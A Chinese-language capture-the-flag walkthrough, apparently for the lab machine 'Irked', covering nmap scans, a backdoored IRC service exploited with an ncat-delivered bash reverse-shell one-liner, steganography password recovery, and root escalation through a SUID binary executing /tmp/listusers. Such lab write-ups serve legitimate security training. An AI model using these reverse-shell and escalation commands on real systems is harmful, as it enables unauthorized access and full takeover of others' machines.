信息收集
服务器的网页上有一张图片和一行文字。文字表示这个服务器上运行着IRC服务。
用Nmap扫描一下。 1
nmap 10.10.10.117 -sS -oN portScan -A
1
nmap 10.10.10.117 -p- -sC -sV -oN fullScan
先使用ncat连接上服务器,再按照协议中的规范将指定信息发送给服务器。这样就可以连接上IRC服务器,并且服务器会返回IRC的版本和型号。
漏洞利用
搜索一下版本和型号,会找到现成的漏洞。
Metasploit
可以直接使用Metasploit进行漏洞利用。如果是docker的话,需要设置一下LHOST。因为exploit默认的LHOST是错误的,所以第一次反向shell会失败。只有在第一次失败后,才可以更改LHOST。
手动利用漏洞
这个漏洞的利用非常的简单。将AB
传给IRC,IRC便会将之后的字符当作命令执行。 构建一个反向shell的payload。
监听本地端口 1
ncat -lvnp yourport
1
echo "AB;bash -c'bash -i &> /dev/tcp/yourip/yourport 0&>1'"| ncat 10.10.10.117 8067
/dev/tcp/yourip/yourport
是bash的特性,在其他的终端中无法使用。 具体参数的含义可以在这里查看。
升级shell
现在的反向shell非常的简陋,可以给他升一下级。
1 | python -c "import pyt;pyt.spawn('/bin/bash')" |
这会在一个新的进程中创建一个bash。 接下来的升级步骤跟stty有关,由于docker无法使用control+z
的快捷键,接下来的升级步骤我便没有继续下去。 参考: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method3upgradingfromnetcatwithmagic
提权
在/home/djmardov/Documents/
下可以找到user.txt文件,虽然没有没有权限读取他,但在相同的目录下,有一份隐藏的备份文件。在隐藏文件.backup
里面有这样的提示: 1
2Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss1
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
接下来可以直接用ssh登录,不再用哪个简陋的shell。 1
2ssh djmardov@10.10.10.117
Kab6h+m+bbp2J:HG
1 | find / -type f -perm -4000 2>/dev/null |
perm 4000的意思时寻找权限为setuid的文件,即用户可以以root权限执行的文件。 2>/dev/null
会把所有报错信息(Permission Denied)过滤掉。
参考: https://www.tutonics.com/2012/12/find-files-based-on-their-permissions.html https://developer.ibm.com/tutorials/l-lpic1-104-5/
除去linux自带的文件,有一个奇特的文件viewuser。可以用ltrace和strace进行逆向分析一下,发现它会以root权限去执行/tmp/listusers
中的命令。
创建/tem/listusers
,并且写入/bin/bash
,给文件加上执行权限。再次执行viewuser,我们便有了root权限。
总结
Irked并不算难。需要枚举找到正确的漏洞,漏洞的利用都可以自动化完成。提权的操作也比较常规,只要会枚举,完成实验难度不大。